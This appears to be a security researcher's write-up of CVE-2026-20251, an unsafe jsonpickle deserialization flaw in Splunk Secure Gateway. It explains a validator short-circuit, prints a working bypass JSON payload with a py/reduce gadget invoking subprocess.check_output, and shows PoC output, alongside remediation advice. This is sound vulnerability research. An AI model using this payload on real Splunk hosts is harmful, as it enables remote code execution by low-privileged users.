# CVE-2026-20251: How a Validator Short-Circuit Turns Splunk's KV Store into an RCE Gateway > A deep dive into the jsonpickle deserialization chain in Splunk Secure Gateway 3.9.19 — and why safe=True isn't. **Tags:** `Security`, `CVE`, `Python`, `Splunk`, `Vulnerability Research` --- During a white-box vulnerability verification engagement on a local Splunk Enterprise 10.0.6 research instance, I confirmed the reachability of **CVE-2026-20251** — an unsafe deserialization bug in the Splunk Secure Gateway (SSG) app that allows any low-privileged authenticated user to achieve remote code execution on the Splunk host. CVSS score: **8.8** (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) The PoC and engagement report are on GitHub: [reactivezero/CVE-2026-20251](https://github.com/reactivezero/CVE-2026-20251) --- ## Background Splunk Secure Gateway is a companion app that lets mobile clients interact with Splunk alerts. It reads alert documents from the App Key Value Store (`mobile_alerts` collection) and reconstructs them into Python objects using [jsonpickle](https://github.com/jsonpickle/jsonpickle). The problem is that jsonpickle is a serialization library designed for trusted data. When it encounters tags like `py/reduce`, `py/function`, or `py/object` in a JSON document, it doesn't just parse data — it **instantiates classes and calls functions**. Feeding it attacker-controlled input is essentially the Python equivalent of calling `pickle.loads()` on untrusted bytes. --- ## The Vulnerable Sink In `bin/spacebridgeapp/request/alerts_request_processor.py`, SSG reads an alert document from the KV Store and decodes it: ```python alert_json = await response.json() if not check_alert_data_valid_json(alert_json[0]): raise SpacebridgeApiRequestError("alert_data is not valid", ...) alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) ``` Two defences are supposed to stand between the attacker and that `jsonpickle.decode()` call: 1. A validator — `check_alert_data_valid_json()` 2. The `safe=True` flag on `decode()` Both fail. --- ## Why `safe=True` Doesn't Help The `safe=True` parameter in jsonpickle **only gates the `py/repr` tag** — the legacy path that called `eval()` on a Python repr string. It has no effect on: - `py/reduce` → calls `_restore_reduce()` → executes `stage1 = f(*args)` - `py/object` → instantiates arbitrary classes via `loadclass()` - `py/function`, `py/type`, `py/module` With no `classes=` allowlist passed to `decode()`, any importable Python class or callable is fair game. The flag is a narrow guard on one old code path — not a general safety switch. --- ## The Validator Short-Circuit `check_alert_data_valid_json()` (in `alert_helper.py`) is supposed to reject dangerous jsonpickle tags. The logic iterates over the top-level keys of the document: ```python for key, value in data.items(): if key.startswith("py"): if key == "py/id": return value.isinstance(int) elif key == "py/object": return value.startswith("spacebridgeapp") # returns immediately else: return False # ... recurse into nested values ``` The bug: **the function returns on the very first `py`-prefixed key it encounters**. If that key is a permitted `py/object` whose value starts with `spacebridgeapp`, the function returns `True` without ever looking at the remaining keys in the document. Python dicts preserve insertion order (since 3.7), and the attacker controls the JSON document they write to the KV Store. So the bypass is trivial: ```json { "py/object": "spacebridgeapp.data.alert_data.Alert", "notification": { "py/reduce": [ {"py/function": "subprocess.check_output"}, {"py/tuple": [["id"]]} ] } } ``` The validator sees `py/object` first — value starts with `spacebridgeapp` — returns `True`. The `notification` sibling carrying the `py/reduce` gadget is never examined. --- ## The Full Attack Chain ``` Step 0 Low-privilege attacker authenticates to Splunk (no admin role needed) and writes the bypass document to the 'mobile_alerts' KV Store collection via the Splunk REST API. Step 1 SSG processes an alert fetch for that alert_id. check_alert_data_valid_json() short-circuits on the "py/object": "spacebridgeapp..." lure key and returns True. Step 2 The document reaches jsonpickle.decode(..., safe=True). jsonpickle loads Alert (importable within Splunk), instantiates it, then iterates its stored attributes via _restore_object_instance_variables(). When it hits the "notification" value, _restore_tags() routes to _restore_reduce(): stage1 = f(*args) # jsonpickle/unpickler.py ~line 526 The attacker-specified callable fires with attacker-specified args. Outcome Code execution as the Splunk service account. Requires only a valid low-privilege Splunk login. ``` --- ## Proof of Concept The PoC (`poc_cve_2026_20251.py`) demonstrates both conditions separately, using a deliberately benign payload (`subprocess.check_output(['uname', '-a'])`): **Sub-proof A — validator bypass:** Feeds the bypass document to the verbatim shipped `check_alert_data_valid_json()` function and confirms it returns `True`. **Sub-proof B — `py/reduce` execution:** Feeds the raw gadget document directly to `jsonpickle.decode(..., safe=True)` and confirms the callable fires — proving `safe=True` has no effect on this code path. Together they confirm the full chain without running a weaponised exploit against Splunk. ``` $ python3 poc_cve_2026_20251.py -h 127.0.0.1 ====================================================================== CVE-2026-20251 PoC -- local research instance only ====================================================================== [*] Target host : 127.0.0.1 [*] jsonpickle : 3.0.2 ---------------------------------------------------------------------- SUB-PROOF A -- Validator bypass ---------------------------------------------------------------------- [*] Running through check_alert_data_valid_json() ... Validator returned : True [BYPASS CONFIRMED] ---------------------------------------------------------------------- SUB-PROOF B -- py/reduce gadget execution (benign: uname -a) ---------------------------------------------------------------------- [EXEC] subprocess.check_output output: Darwin Macbook.local 25.3.0 ... [GADGET CONFIRMED] py/reduce fired through jsonpickle.decode(..., safe=True). ``` --- ## A Note on CVE-2026-20253 The same advisory batch includes CVE-2026-20253 (CVSS 9.8) — unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint. That one was **not present** on the test instance: the macOS x86_64 build of Splunk Enterprise 10.0.6 simply doesn't ship the PostgreSQL sidecar component. No binaries, no process, no listening port. This matters: **an affected version string is a necessary but not sufficient condition for exploitability**. Always verify at the component level before assigning real risk. --- ## Remediation **Patch:** Upgrade Splunk Secure Gateway to `3.9.20+`, `3.10.6+`, or `3.8.67+`. Upgrade Splunk Enterprise to `10.0.7+` / `10.2.4+` / `10.4.0+`. **Short-term workarounds** (if patching is delayed): - Disable the Splunk Secure Gateway app if it is not actively used - Restrict KV Store write access — enforce least-privilege roles and review ACLs on the `mobile_alerts` collection **Defensive engineering pattern:** Never pass externally-influenced stored data into `jsonpickle.decode()` (or any deserialization primitive that reconstructs arbitrary types). Replace it with a strict schema-validated parser, or at minimum supply an explicit `classes=` allowlist to `decode()`. And make sure validation routines **fully traverse nested structures** — a short-circuit on the first recognised key is exactly the kind of logic error that turns a validator into a rubber stamp. --- *Fady Oueslati · ReactiveZero Security Research · June 2026* *GitHub: [reactivezero/CVE-2026-20251](https://github.com/reactivezero/CVE-2026-20251)*